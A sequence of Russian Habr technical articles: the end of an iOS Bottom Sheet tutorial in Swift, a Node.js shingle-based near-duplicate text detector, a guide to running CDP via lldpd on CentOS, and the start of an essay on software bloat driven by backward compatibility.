Когда пользователь отрывает палец от экрана после скролла, то *UIScrollViewDelegate* вызывает *scrollViewWillEndDragging(\_:withVelocity:targetContentOffset:)*. В нём, как и в обработке состояния pan gesture **ended**, завершаем или отменяем транзишен.
```
public func scrollViewWillEndDragging(
_ scrollView: UIScrollView,
withVelocity velocity: CGPoint,
targetContentOffset: UnsafeMutablePointer
) {
if didStartDragging {
let velocity = scrollView.panGestureRecognizer.velocity(in: scrollView)
let translation = scrollView.panGestureRecognizer.translation(in: scrollView)
endInteractiveTransition(
verticalVelocity: velocity.y,
verticalTranslation: translation.y - lastContentOffsetBeforeDragging.y
)
} else {
endInteractiveTransition(isCancelled: true)
}
overlayTranslation = 0
scrollViewTranslation = 0
lastContentOffsetBeforeDragging = .zero
didStartDragging = false
isDragging = false
}
```
Через *didStartDragging* проверяем **было ли активно интерактивное** закрытие Bottom Sheet перед окончанием скролла.
**Если да**, то, как и с pan gesture, используем скорость с замедлением, чтобы решить, отменить или закончить переход.
**Если нет**, то отменяем транзишен. Возможна ситуация, что пользователь начал скрывать Bottom Sheet, а потом вернулся к скроллу контента. В этом случае у транзишена нулевой прогресс, и мы точно хотим его отменить.
Давайте посмотрим, что получилось!
Итак, мы научились работать со всеми размерами Bottom Sheet.
### Что мы сделали во второй части?
1. Поддержали pan gesture и разобрали состояния: **began**, **changed**, **ended**, **cancelled**.
2. Реализовали множественную подписку на *delegate* через *MulticastDelegate.*
3. Отслеживаем *UIScrollViewDelegate* и обновляем состояние транзишена.
Часть 3. Поддержим UINavigationController
-----------------------------------------
### Стартовый проект
Начинаем со [стартового проекта](https://github.com/joomcode/BottomSheet/tree/feature/part-3). В *ResizeViewController* добавилось две кнопки, которые видны, если есть navigation controller. Первая пушит *ResizeViewController* с текущей высотой контента. Вторая сворачивает навигационный стек к *rootViewController*. Остальное из второй части.
Добавим возможность показывать *UINavigationController* c привычными операции push и pop. Также не забываем про системный интерактивный pop, который хочется поддержать.
### Теория. А из коробки заработает?
Можно ли напрямую использовать системный *UINavigationController*? К сожалению, нет.
Navigation controller не учитывает *preferredContentSize* в полной мере. Изначальный размер контента и его увеличение работает ожидаемо. Однако на уменьшение navigation controller никак не реагирует. При нажатии на -100 размер не изменяется.
Поэтому нам точно понадобится наследник *UINavigationController*, который сможет отслеживать изменение навигационного стека и обновлять свой собственный *preferredContentSize* ориентируясь на *topViewController.*
В presentation controller при отслеживании scrollView нужно учесть, что *presentedViewController* может быть *UINavigationController*. И при изменении навигационного стека необходимо извлечь *scrollView* из текущего *topViewController*, если он есть.
Последнее. Navigation controller поставляется вместе с версией iOS SDK. Получается, что каждый раз мы работаем с новым компонентом со своими особенностями. И, как мы убедимся дальше, эти особенности себя проявят и нам помешают. Как и что будем с этим делать — обсудим ближе к делу.
### Адаптируемся под размер контента
Мы уже делали адаптацию под размер контента в первой части, но с поддержкой navigation controller фича сломалась. Системный navigation controller не учитывает изменения *preferredContentSize* в полной мере. Поэтому создадим наследника *UINavigationController* и воспользуемся свойством *UIContentContainer.*
В *updatePreferredContentSize* учитываем *topViewController* и *additionalSafeAreaInsets.*
```
public final class BottomSheetNavigationController: UINavigationController {
private func updatePreferredContentSize() {
preferredContentSize = CGSize(
width: view.bounds.width,
height: topViewController?.preferredContentSize.height ?? 0 + additionalSafeAreaInsets.verticalInsets
)
}
}
```
Аналогично presentation controller, реагируем на изменение content size через *preferredContentSizeDidChange(forChildContentContainer:)*. Помним, что нужно самим позаботиться об анимации при изменении *preferredContentSize*. Поэтому добавим анимацию в *BottomSheetNavigationController* и уберём её из *ResizeViewController.*
```
// BottomSheetNavigationController.swift
private var isUpdatingNavigationStack = false
private var canAnimatePreferredContentSizeUpdates = false
// MARK: - Private methods
public override func preferredContentSizeDidChange(forChildContentContainer container: UIContentContainer) {
guard
let viewController = container as? UIViewController,
viewController === topViewController
else { return }
let updates = { [self] in
updatePreferredContentSize()
view.layoutIfNeeded()
}
if canAnimatePreferredContentSizeUpdates {
UIView.animate(withDuration: 0.25, animations: updates)
} else {
updates()
}
canAnimatePreferredContentSizeUpdates = true
}
```
В presentation controller учтём, что *presentedViewController* может быть *UINavigationController*. Тогда нужно подписываться на текущий *topViewController* и на изменения навигационного стека. Обновим *setupScrollTrackingIfNeeded().*
```
private func setupScrollTrackingIfNeeded() {
if let navigationController = presentedViewController as? UINavigationController {
navigationController.multicastingDelegate.addDelegate(self)
if let topViewController = navigationController.topViewController {
trackScrollView(inside: topViewController)
}
} else {
trackScrollView(inside: presentedViewController)
}
}
```
Для отслеживания изменений навигационного стека подписываемся на *delegate* через известный нам паттерн *MulticastDelegate*. Присматриваем за scrollView при показе view controller.
```
extension BottomSheetPresentationController: UINavigationControllerDelegate {
public func navigationController(
_ navigationController: UINavigationController,
didShow viewController: UIViewController,
animated: Bool
) {
trackScrollView(inside: viewController)
}
}
```
Проверяем результат.
Navigation controller стал реагировать на изменения размера контента, но при переходе назад размер не участвует в анимации.
### Анимируем транзишен push и pop
Почему так происходит? Потому что системная реализация navigation controller не учитывает *preferredContentSize* при изменении навигационного стека. Поэтому нужно обновлять размер контента вместе с изменениями стека навигации.
Для этого введём вспомогательную функцию, через которую будут идти обновления стека вместе с обновлением *preferredContentSize*. Если возможно, то изменение размера контента делаем анимированно через [transitionCoordinator](https://developer.apple.com/documentation/uikit/uiviewcontroller/1619294-transitioncoordinator). Важно сначала обновить стек и только потом обновлять размер контента. Иначе *topViewController* будет неактуальным.
```
// BottomSheetNavigationController.swift
private var isUpdatingNavigationStack = false
// MARK: - Private methods
private func updateNavigationStack(animated: Bool, applyChanges: () -> Void) {
isUpdatingNavigationStack = true
applyChanges()
if let transitionCoordinator = transitionCoordinator, animated, transitionCoordinator.isAnimated {
transitionCoordinator.animate(
alongsideTransition: { _ in
self.updatePreferredContentSize()
},
completion: { context in
self.isUpdatingNavigationStack = false
self.updatePreferredContentSize()
}
)
} else {
isUpdatingNavigationStack = false
updatePreferredContentSize()
}
}
```
Напоследок реализуем методы *UINavigationController*, которые изменяют навигационный стек, через *updateNavigationStack(animated:applyChanges:).*
Методы, манипулирующие стеком UINavigationController
```
// MARK: - UINavigationController
public override func setViewControllers(_ viewControllers: [UIViewController], animated: Bool) {
updateNavigationStack(animated: animated) {
super.setViewControllers(viewControllers, animated: animated)
}
}
public override func pushViewController(_ viewController: UIViewController, animated: Bool) {
updateNavigationStack(animated: animated) {
super.pushViewController(viewController, animated: animated)
}
}
public override func popViewController(animated: Bool) -> UIViewController? {
var viewController: UIViewController?
updateNavigationStack(animated: animated) {
viewController = super.popViewController(animated: animated)
}
return viewController
}
public override func popToRootViewController(animated: Bool) -> [UIViewController]? {
var viewControllers: [UIViewController]?
updateNavigationStack(animated: animated) {
viewControllers = super.popToRootViewController(animated: animated)
}
return viewControllers
}
```
Запустим и посмотрим, что получилось.
Стало лучше и размер контента учитывается, но с артефактами. Посмотрим на iOS 12.
Транзишен отличается в худшую сторону и после окончания размер контента остаётся с предыдущего view controller.
Получается, мы не можем рассчитывать на системный транзишен *UINavigationController,* и нам нужно реализовать его своими силами. Реализуем *UINavigationControllerDelegate*, в котором переопределим транзишен для push и pop операций.
Транзишен для push и pop операций
```
public final class BottomSheetNavigationAnimatedTransitioning: NSObject, UIViewControllerAnimatedTransitioning {
// MARK: - Private
private let operation: UINavigationController.Operation
// MARK: - Init
public init(operation: UINavigationController.Operation) {
self.operation = operation
}
// MARK: - UIViewControllerAnimatedTransitioning
public func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval {
0.25
}
public func animateTransition(using transitionContext: UIViewControllerContextTransitioning) {
let containerView = transitionContext.containerView
guard
let sourceViewController = transitionContext.viewController(forKey: .from),
let destinationViewController = transitionContext.viewController(forKey: .to),
let destinationView = destinationViewController.view,
let sourceView = sourceViewController.view,
let containerViewWindow = containerView.window
else {
return
}
let isPushing = operation == .push
let containerBounds = containerView.bounds
let topView = isPushing ? destinationView : sourceView
let bottomView = isPushing ? sourceView : destinationView
let topViewFrame = { bounds, isTopViewVisible -> CGRect in
isTopViewVisible
? bounds
: bounds.offsetBy(dx: bounds.width, dy: 0)
}
let bottomViewFrame = { bounds, isTopViewVisible -> CGRect in
isTopViewVisible
? bounds.offsetBy(dx: -bounds.width, dy: 0)
: bounds
}
let originalTopViewAutoresizingMask = topView.autoresizingMask
let originalBottomViewAutoresizingMask = bottomView.autoresizingMask
topView.autoresizingMask = []
bottomView.autoresizingMask = []
topView.frame = topViewFrame(containerBounds, !isPushing)
bottomView.frame = bottomViewFrame(containerBounds, !isPushing)
containerView.addSubview(destinationView)
destinationView.setNeedsUpdateConstraints()
destinationView.updateConstraintsIfNeeded()
destinationView.setNeedsLayout()
destinationView.layoutIfNeeded()
let preferredContentSize = CGSize(
width: destinationViewController.preferredContentSize.width,
height: destinationViewController.preferredContentSize.height + destinationView.safeAreaInsets.top + destinationView.safeAreaInsets.bottom
)
let maxHeight = containerViewWindow.bounds.size.height
- containerViewWindow.safeAreaInsets.top
- BottomSheetPresentationController.pullBarHeight
let targetSize = CGSize(
width: preferredContentSize.width,
height: min(preferredContentSize.height, maxHeight)
)
let navBarOffset = topView.safeAreaInsets.top
let separatorFrame = CGRect(
origin: CGPoint(
x: topView.frame.origin.x,
y: navBarOffset
),
size: CGSize(
width: pixelSize,
height: containerBounds.size.height - navBarOffset
)
)
let separatorView = UIView(frame: separatorFrame)
if #available(iOS 13.0, *) {
separatorView.backgroundColor = .separator
} else {
separatorView.backgroundColor = .lightGray
}
containerView.addSubview(separatorView)
let animations = {
let frame = CGRect(origin: .zero, size: targetSize)
topView.frame = topViewFrame(isPushing ? frame : containerBounds, isPushing)
topView.layoutIfNeeded()
bottomView.frame = bottomViewFrame(frame, isPushing)
bottomView.layoutIfNeeded()
separatorView.frame = CGRect(
origin: CGPoint(
x: topView.frame.origin.x,
y: navBarOffset
),
size: separatorView.bounds.size
)
}
let completion = { (isCompleted: Bool) in
containerView.addSubview(bottomView)
containerView.addSubview(topView)
separatorView.removeFromSuperview()
topView.autoresizingMask = originalTopViewAutoresizingMask
bottomView.autoresizingMask = originalBottomViewAutoresizingMask
transitionContext.completeTransition(isCompleted && !transitionContext.transitionWasCancelled)
}
let duration = transitionDuration(using: transitionContext)
UIView.animate(withDuration: duration, delay: 0, options: .curveLinear, animations: animations, completion: completion)
}
}
```
Далее реализуем *UINavigationControllerDelegate* и переопределим анимацию транзишена.
```
extension BottomSheetNavigationController: UINavigationControllerDelegate {
public func navigationController(
_ navigationController: UINavigationController,
animationControllerFor operation: UINavigationController.Operation,
from fromVC: UIViewController,
to toVC: UIViewController
) -> UIViewControllerAnimatedTransitioning? {
BottomSheetNavigationAnimatedTransitioning(operation: operation)
}
}
```
Запустим приложение и последим за анимациями.
Всё работает плавно, как ожидается!
### Интерактивный pop
Когда мы переопределили транзишен для push и pop операций, то мы потеряли системный интерактивный переход, который до этого работал из коробки. Придется реализовать его самим. Используем *navigationController(\_:interactionControllerFor:)* из *UINavigationControllerDelegate*. Через него можно добавить интерактивный транзишен при переходе между view controller'ами.
Но как повторить жест, который срабатывает при свайпе от края экрана? Воспользуемся *UIScreenEdgePanGestureRecognizer*, который делает ровно то, что нам нужно.
Будем добавлять этот жест для view controller'а, который запушился в иерархию navigation controller'а. Привожу только критические участки кода.
```
public extension UIViewController {
private(set) var customInteractivePopGestureRecognizer: UIGestureRecognizer? {
get { objc_getAssociatedObject(self, &Self.gestureRecognizerKey) as? UIGestureRecognizer }
set { objc_setAssociatedObject(self, &Self.gestureRecognizerKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC) }
}
func setupCustomInteractivePopTransition() {
let gestureRecognizer = UIScreenEdgePanGestureRecognizer()
view.addGestureRecognizer(gestureRecognizer)
gestureRecognizer.edges = .left
gestureRecognizer.addTarget(self, action: #selector(handleGestureRecognizer))
customInteractivePopGestureRecognizer = gestureRecognizer
...
}
...
}
```
В обработчике жеста делаем то же самое, что и для pan gesture. Инициируем интерактивный транзишен, обновляем прогресс пропорционально движению пальца и используем тот же критерий для отмены и завершения перехода.
```
@objc
private func handleGestureRecognizer(_ recognizer: UIScreenEdgePanGestureRecognizer) {
switch recognizer.state {
case .began:
processPanGestureBegan(recognizer)
case .changed:
processPanGestureChanged(recognizer)
case .ended:
processPanGestureEnded(recognizer)
case .cancelled, .failed:
processPanGestureCancelled(recognizer)
@unknown default:
break
}
}
```
Полная версия
```
public extension UIViewController {
// MARK: - Public properties
private(set) var customInteractivePopGestureRecognizer: UIGestureRecognizer? {
get { objc_getAssociatedObject(self, &Self.gestureRecognizerKey) as? UIGestureRecognizer }
set { objc_setAssociatedObject(self, &Self.gestureRecognizerKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC) }
}
var customInteractivePopTransitioning: UIViewControllerInteractiveTransitioning? { transition }
// MARK: - Private properties
private static var gestureRecognizerKey: UInt8 = 0
private static var gestureRecognizerDelegateKey: UInt8 = 0
private static var transitionKey: UInt8 = 0
private var transition: UIPercentDrivenInteractiveTransition? {
get { objc_getAssociatedObject(self, &Self.transitionKey) as? UIPercentDrivenInteractiveTransition }
set { objc_setAssociatedObject(self, &Self.transitionKey, newValue, .OBJC_ASSOCIATION_RETAIN_NONATOMIC) }
}
// MARK: - Public methods
func setupCustomInteractivePopTransition() {
let gestureRecognizer = UIScreenEdgePanGestureRecognizer()
gestureRecognizer.edges = .left
let gestureRecognizerDelegate = GestureRecognizerDelegate(navigationItem: navigationItem)
gestureRecognizer.delegate = gestureRecognizerDelegate
if let view = viewIfLoaded {
view.addGestureRecognizer(gestureRecognizer)
} else {
subscribe(onEvent: .viewDidLoad) { [unowned self] in
view.addGestureRecognizer(gestureRecognizer)
}
}
gestureRecognizer.addTarget(self, action: #selector(handleGestureRecognizer))
customInteractivePopGestureRecognizer = gestureRecognizer
objc_setAssociatedObject(self, &Self.gestureRecognizerDelegateKey, gestureRecognizerDelegate, .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
}
// MARK: - Private methods
@objc
private func handleGestureRecognizer(_ recognizer: UIScreenEdgePanGestureRecognizer) {
switch recognizer.state {
case .began:
processPanGestureBegan(recognizer)
case .changed:
processPanGestureChanged(recognizer)
case .ended:
processPanGestureEnded(recognizer)
case .cancelled, .failed:
processPanGestureCancelled(recognizer)
@unknown default:
break
}
}
private func processPanGestureBegan(_ recognizer: UIScreenEdgePanGestureRecognizer) {
transition = UIPercentDrivenInteractiveTransition()
navigationController?.popViewController(animated: true)
}
private func processPanGestureChanged(_ recognizer: UIScreenEdgePanGestureRecognizer) {
let translation = recognizer.translation(in: view)
let progress: CGFloat = translation.x / view.bounds.width
transition?.update(progress)
}
private func processPanGestureEnded(_ recognizer: UIScreenEdgePanGestureRecognizer) {
let velocity = recognizer.velocity(in: view)
let translation = recognizer.translation(in: view)
let deceleration = 800.0 * (velocity.x > 0 ? -1.0 : 1.0)
let finalProgress = (translation.x - 0.5 * velocity.x * velocity.x / CGFloat(deceleration)) / view.bounds.width
let isThresholdPassed = finalProgress < 0.5
endTransition(isCancelled: isThresholdPassed)
}
private func processPanGestureCancelled(_ recognizer: UIScreenEdgePanGestureRecognizer) {
endTransition(isCancelled: true)
}
private func endTransition(isCancelled: Bool) {
if isCancelled {
transition?.cancel()
} else {
transition?.finish()
}
transition = nil
}
}
private final class GestureRecognizerDelegate: NSObject, UIGestureRecognizerDelegate {
private let navigationItem: UINavigationItem
init(navigationItem: UINavigationItem) {
self.navigationItem = navigationItem
}
func gestureRecognizerShouldBegin(_ gestureRecognizer: UIGestureRecognizer) -> Bool {
!navigationItem.hidesBackButton
}
func gestureRecognizer(
_ gestureRecognizer: UIGestureRecognizer,
shouldBeRequiredToFailBy otherGestureRecognizer: UIGestureRecognizer
) -> Bool {
true
}
}
```
Остаётся прокачать *UINavigationControllerDelegate* и учесть в нём интерактивный транзишен. На push добавляем к view controller'у жест для интерактивного pop'а.
```
extension BottomSheetNavigationController: UINavigationControllerDelegate {
public func navigationController(
_ navigationController: UINavigationController,
animationControllerFor operation: UINavigationController.Operation,
from fromVC: UIViewController,
to toVC: UIViewController
) -> UIViewControllerAnimatedTransitioning? {
if operation == .push {
toVC.setupCustomInteractivePopTransition()
}
lastTransitionViewController = fromVC
return BottomSheetNavigationAnimatedTransitioning(operation: operation)
}
public func navigationController(
_ navigationController: UINavigationController,
interactionControllerFor animationController: UIViewControllerAnimatedTransitioning
) -> UIViewControllerInteractiveTransitioning? {
lastTransitionViewController?.customInteractivePopTransitioning
}
}
```
Проверяем.
И ура, мы справились с нашим последним вызовом!
### Что мы сделали в третьей части?
1. Адаптировали *UINavigationController* под размер контента.
2. Добились корректных push и pop транзишенов на iOS 12+.
3. Поддержали уникальный интерактивный pop.
Заключение
----------
Спасибо, что дочитали до конца! Теперь можно и резюме обновить.
Мы начали с нуля, а в конце получили [многофункциональный Bottom Sheet](https://github.com/joomcode/BottomSheet). Ответили на вопросы, которые стояли в начале статьи, и даже вспомнили школьную физику. Надеюсь, что статья оказалась полезной, и в вашем приложении Bottom Sheet заиграет новыми красками!
|
https://habr.com/ru/post/596821/
| null |
ru
| null |
# Реализация алгоритма шинглов на Node.JS. Поиск нечетких дубликатов для английских текстов
При работе с информацией часто возникают задачи парсинга веб-страниц. Одной из проблем в этом деле является определение похожих страниц. Хороший пример такого алгоритма — [«Алгоритм шинглов для веб-документов»](http://habrahabr.ru/post/65944/).
Часть проекта по парсингу реализована на Node.JS, поэтому и алгоритм нужно было реализовать на нем. Реализаций на javascript или npm-пакетов я не нашел — пришлось писать свою.
Вся работа по коду основана на статье выше, поэтому все пункты алгоритма будет из нее, но с некоторыми поправками.
Для определения схожести 2-х документов необходимо:
1. канонизация текста;
2. разбиение на шинглы;
3. вычисление хешей шинглов с помощью 84х статических функций;
4. случайная выборка 84 значений контрольных сумм;
5. сравнение, определение результата.
Пункты 3,4 для меня оказались довольно проблематичными. 1-е — необходимо найти 84 статических функции для хеширования, а 2-е – случайная выборка 84-х значений контрольных сумм. Если для 1й проблемы – решения найти можно, то второе мне не ясно. Если массив шинглов для текста мы хешируем 84-мя функциями то выходит что на выходе получится 2-х мерный массив размерностью 84xN(кол-во шинглов в документе). Теперь необходимо обойти этот 84-х элементный массив для каждого текста и сравнить случайные хеши шинглов. Можно сравнивать случайные элементы, но такой вариант может не дать совпадений. Если брать минимальные хеши по длинне, то для md5 все хеши равны по длине, а рассчитывать длину по кодам символов – дополнительная нагрузка. Поэтому я решил пункты 3 и 4 заменить на простое хеширование шинглов с помощью crc32 и последовательное сравнение.
Конечный алгоритм:
1. канонизация текста;
2. разбиение на шинглы;
3. вычисление хешей шинглов с помощью crc32;
4. последовательное сравнение, определение результата.
##### 1. Канонизация текста
В моем случае канонизация состоит из:
1. очистка от html сущностей;
2. очистка от лишних пробелов по бокам(trim);
3. очистка от таких спец символов '”', '“', "\n", '\r', ',', '.', ':', '$', '#', '"', '(', ')';
4. очистка от ненужных частей речи в предложении
Для начала необходимо подготовить методы для обработки текста.
```
var strWordRemove = function(entry) {
var regex = new RegExp('(^|\\s)' + entry + '(?=\\s|$)', 'g');
text = text.replace(regex, '');
};
var strCharacterRemove = function(entry) {
var escapeRegExp = function (str) {
return str.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
};
var regex = new RegExp(escapeRegExp(entry), 'g');
text = text.replace(regex, '');
};
```
Первый нужен для замено слов в тексте, а второй для замены спец. символов. Далее идет сама обработка:
```
var withoutTagsRegex = /(<([^>]+)>)/ig;
text = text.replace(withoutTagsRegex, "");
text = text.trim();
['”', '“', "\n", '\r'].forEach(strCharacterRemove);
```
Для Node.JS есть npm-пакет “pos”, который позволяет находить в тексте части речи. Работает довольно неплохо.
**Обработка частей речи с помощью pos**
```
var words = new pos.Lexer().lex(text);
var taggedWords = new pos.Tagger().tag(words);
var removeWords = [];
var nounWords = [];
for (var i in taggedWords) {
var taggedWord = taggedWords[i];
var word = taggedWord[0];
var tag = taggedWord[1];
//Adjective
/*
JJ Adjective big
JJR Adj., comparative bigger
JJS Adj., superlative biggest
CC Coord Conjuncn and,but,or
IN Preposition of,in,by
TO ÒtoÓ to
UH Interjection oh, oops
DT Determiner the,some
*/
//console.log(word + " /" + tag);
if(tag === 'NNS') {
nounWords.push(word);
}
if(['JJ', 'JJR', 'JJS', 'CC', 'IN', 'TO', 'UH', 'DT'].indexOf(tag) !== -1) {
removeWords.push(word);
}
}
removeWords.forEach(strWordRemove);
```
Все остальные спец. символы я решил убрать после обработки частей речи.
```
[',', '.', ':', '$', '#', '"', '(', ')'].forEach(strCharacterRemove);
```
Далее осталось привести все существительные к единственному виду и блок канонизации можно считать готовым. Стоить заметить, что pos заносит к множественным существительным такие слова как Command's. Их я решил пропускать.
**Cуществительные к единственному виду**
```
// replace all plural nouns to single ones
nounWords.forEach(function(entry) {
//parent’s || Apple’s || Smurf’s
if(entry.length > 2 && entry.slice(-2) === "’s") {
// now skip it. in future we can test to remove it
return ;
}
var newOne = '';
if(entry.length > 3 && entry.slice(-3) === "ies") {
newOne = entry.slice(0, -3) + 'y';
} else if(entry.length > 2 && entry.slice(-1) === "s") {
newOne = entry.slice(0,-1);
} else {
return ;
}
var rexp = new RegExp('(^|\\s)' + entry + '(?=\\s|$)','g')
text = text.replace(rexp, "$1" + newOne );
});
```
Убираем все множественные пробелы и передаем текст на следующий уровень.
```
text = text.replace(/ +(?= )/g,'');
callback(text);
```
##### 2. Разбиение на шинглы
С этим пунктом все просто. Делим текст по пробелам и создаем массивы.
```
var makeShingles = function(text, callback) {
var words = text.split(' ');
var shingles = [];
var wordsLength = words.length;
while(shingles.length !== (wordsLength - shingleLength + 1)) {
shingles.push(words.slice(0, shingleLength).join(' '));
words = words.slice(1);
}
callback(shingles)
};
```
##### 3. Вычисление хешей шинглов с помощью crc32
В этом пункте мы обходим массив шинглов и хешируем строки. Первый цикл от 0 до 1 остался от попытки хешировать с помощью 84-х функций. Решил не убирать(вдруг вернусь к этой идее).
```
var hashingShingles = function(shingles, callback) {
var hashes = [];
for(var i = 0, n = 1; i < n; i++) {
var hashedArr = [];
for(var j = 0, k = shingles.length; j < k; j++) {
hashedArr.push(crc.crc32(shingles[j]));
}
hashes.push(hashedArr);
}
callback(hashes);
};
```
##### 4. Последовательное сравнение, определение результата
Для примера я взял 2 новости из google news которые тот показал как похожие. Сохранил их в json файле и далее, для более высокой скорости, обрабатывал параллельно с помощью Async utilities. После чего нашел количество совпавших шинглов и рассчитал результат.
**Определение результатов для 2-х текстов**
```
var fileJSON = require('./article1.json');
var content1 = fileJSON.content;
var fileJSON2 = require('./article2.json');
var content2 = fileJSON2.content;
var async = require('async');
async.parallel([
function(callback){
textCanonization(content1, function(text) {
makeShingles(text, function(shingles) {
hashingShingles(shingles, function(hashes) {
callback(null, hashes);
});
})
});
},
function(callback){
textCanonization(content2, function(text) {
makeShingles(text, function(shingles) {
hashingShingles(shingles, function(hashes) {
callback(null, hashes);
});
})
});
}
], function(err, results){
var firstHashes = results[0];
var secondHashes = results[1];
var compareShingles = function(arr1, arr2) {
var count = 0;
arr1[0].forEach(function(item) {
if(arr2[0].indexOf(item) !== -1) {
count++;
}
});
return count*2/(arr1[0].length + arr2[0].length)*100;
};
var c = compareShingles(firstHashes, secondHashes);
console.log(c);
});
```
Формула `count*2/(arr1[0].length + arr2[0].length)*100` находит процентное соотношение для 2х текстов.
Тексты для сравнения: [FTC says Apple will pay at least $32.5 million over in-app purchases](http://www.washingtonpost.com/business/technology/ftc-says-apple-will-pay-at-least-325-million-over-in-app-purchases/2014/01/15/7c2ebc54-7e13-11e3-95c6-0a7aa80874bc_story.html) и [Apple will pay $32.5m to settle app complaints](http://www.bostonglobe.com/business/2014/01/16/apple-will-refund-least-million-app-case/EZlzgfWQWoCXsxcQKqReWP/story.html). При количестве слов в шингле, равном 10 — тексты были похожи на 2.16% что очень неплохо.
Из вопросов не ясно, чем вариант использования 84х функций лучше. А также хотелось бы знать какой-то алгоритм для высчитывания оптимального количества слов в шингле(в текущем указано 10).
Весь исходный код алгоритма и пример работы можно посмотреть на [github.com](https://github.com/aslikeyou/node-w-shingling)
|
https://habr.com/ru/post/209826/
| null |
ru
| null |
# CDP(Cisco Discovery Protocol) на Linux
Всем известно про замечательный протокол CDP (Cisco Discovery Protocol) для Cisco. Оказывается что и для Linux тоже есть возможность использовать его прелести. Есть проект [LLDP](https://trac.luffy.cx/lldpd/), который нам в этом и поможет.
Для тех, кто не в кусре: на cisco можно посмотреть соседей с включенным CDP коммандой *sh cdp nei*. Комманда выведет оборудование которое подключено, на каком порту и т.д., более подробно s*h cdp ent Device\_ID*, уже по конкретному девайсу.
Так вот, мы сейчас попробуем включить это и в Linux, в данном, конкретном случае, настраивать будем на CentOS 5.4, на Debian-подобных дистрах почти тож самое, за исключением процесса сборки и расположения файлов.
Для начала скачаем [src.rpm](http://www.luffy.cx/lldpd/lldpd-0.4.0-1.fc10.src.rpm), установим его:
`# rpm -Uhv lldpd-0.4.0-1.fc10.src.rpm`
появится файл спецификаций /usr/src/redhat/SPECS/lldpd.spec, кому нужно, может его править по своему усмотрению, если надо.
Далее нам собственно надо собрать сам пакет:
`# rpmbuild -bb /usr/src/redhat/SPECS/lldpd.spec`
устанавливаем вновь собранный пакет:
`# rpm -Uhv /usr/src/redhat/RPMS/i386/lldpd-0.4.0-1.i386.rpm`
настраиваем опции запуска демона, открываем файл:
`# vim /etc/sysconfig/lldpd`
и правим
`OPTIONS=”-v -c”`
-v – включаем поддержку vlan если они у Вас есть на машине с Linux
-c – включаем протокол CDP
более подробную информацию можно посмотреть по *man lldpd*
запускаем демон:
`# /etc/init.d/lldpd start`
после запуска, в файле /var/log/messages мы увидим приблизительно такие строки:
`lldpd[30206]: lldpd_decode: switching to CDPv2 on port eth1
lldpd[30206]: lldpd_decode: switching to CDPv2 on port eth0`
всё в порядке, демон стартанул.
Чтоб все работало, на оборудовании с другой стороны, на порту, должен быть включен CDP, то есть не должно стоять *no cdp enable* на интерфейсе.
Собственно, осталось только проверить как все работает и получить информацию.
`# lldpctl
получаем:
--------------------------------------------------------
LLDP neighbors
--------------------------------------------------------
Interface: eth0
ChassisID: sw-b-48 (local)
SysName: sw-b-48
SysDescr:
cisco WS-C2960-48TT-L running on
Cisco IOS Software, C2960 Software (C2960-LANBASE-M)
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Thu 19-Jul-07 20:06 by nachen
MgmtIP: 172.16.25.48
Caps: Bridge(E)
PortID: FastEthernet0/4 (ifName)
PortDescr: FastEthernet0/4
--------------------------------------------------------`
видим, что на другой стороне у нас свитч C2960, версию IOS, порт свитча, к которуму подключена машина с Linux.
Для остроты ощущений, посмотрим вывод на cisco, у нас там появилось:
`my.linux.machine
Fas 0/4 92 R Linux eth0`
то есть, опять таки, видим, что у нас на порту fa0/4 подключена машина с Linux, сетевое имя машины, и её сетевушка eth0.
**Добавлю**: можно установить демон из сорсов самому, но в моем случае это не true-way, все должно быть упорядочено. В Debian-подобных дистрах, файл настройки демона расположен в /etc/default/
стоит отметить еще утилиту [cdpr](http://sourceforge.net/projects/cdpr/), но с её помощью можно только получать информацию по CDP, а не обмениваться ей, для RH-дистров она есть в репозитарии [rpmforge](https://rpmrepo.org/RPMforge/Using).
Вот и все. Удачи в настройках.
**UPD**: получил за статью инвайт, очень рад.
**UPD2**: написали — такое уже было [habrahabr.ru/blogs/sysadm/83356](http://habrahabr.ru/blogs/sysadm/83356/) — помоему различия очевидны
|
https://habr.com/ru/post/86773/
| null |
ru
| null |
# Как портят софт ради обратной совместимости
[](https://habr.com/ru/company/ruvds/blog/697048/)
«Ожирение софта» — известная беда современной разработки. Повышение производительности железа зачастую воспринимается менеджерами как возможность игнорировать рефакторинг, всё равно никто не заметит тормозов. Проще докупить железа, чем тратить время на оптимизацию.
Но есть ещё одна серьёзная причина, по которой ожирение софта и тормоза увеличиваются с каждой версией — это легаси. Накопление старого балласта ради сохранения обратной совместимости. Хуже того, иногда происходят поистине вопиющие случаи, когда баги умышленно вводят в кодовую базу, чтобы сохранить совместимость со старыми программами.
▍ Баги ради совместимости
-------------------------
Известен случай, как в Windows 95 специально внесли баг ради совместимости с популярной игрой SimCity. Об этом [рассказывал](https://www.joelonsoftware.com/2000/05/24/strategy-letter-ii-chicken-and-egg-problems/) Джоэл Спольски, сооснователь Stack Overflow. Он хвалит Microsoft за то, как много усилий она вложила в поддержку обратной совместимости, и приводит слова Джона Росса, автора оригинальной версии SimCity для Windows 3.x:
> Отличный новый 32-битный API прекрасно работал со старыми 16-битными программами. Microsoft была одержима этим, потратив кучу денег на тестирование под Windows 95 всех старых программ, какие только могла найти. Джон Росс случайно оставил в SimCity баг с чтением только что освобождённой памяти. Мда… Игра прекрасно работала на Windows 3.x, потому что там освобождённую память никто не занимал, однако в бета-версии Windows 95 она, естественно, падала. И вот тут самое интересное. Microsoft отследила баг и добавила в Windows 95 *специальный код, который ищет SimCity*. Если находит, то запускает аллокатор памяти в специальном режиме, который не сразу освобождает память. Именно такая одержимость обратной совместимостью заставляла людей охотно переходить на Windows 95.
Получается, в Windows 95 внедрили искусственную «утечку памяти», лишь бы старенькая SimCity не падала.
Это, конечно, уникальный случай. Но он демонстрирует некую тенденцию, когда перед разработчиками ставят главный приоритет — любой ценой обеспечить обратную совместимость, чтобы у старых клиентов ничего не падало после обновления, а у новых клиентов работали абсолютно все прежние программы. Из-за этого приходится идти на жертвы. И первым делом жертвуют качеством кода.
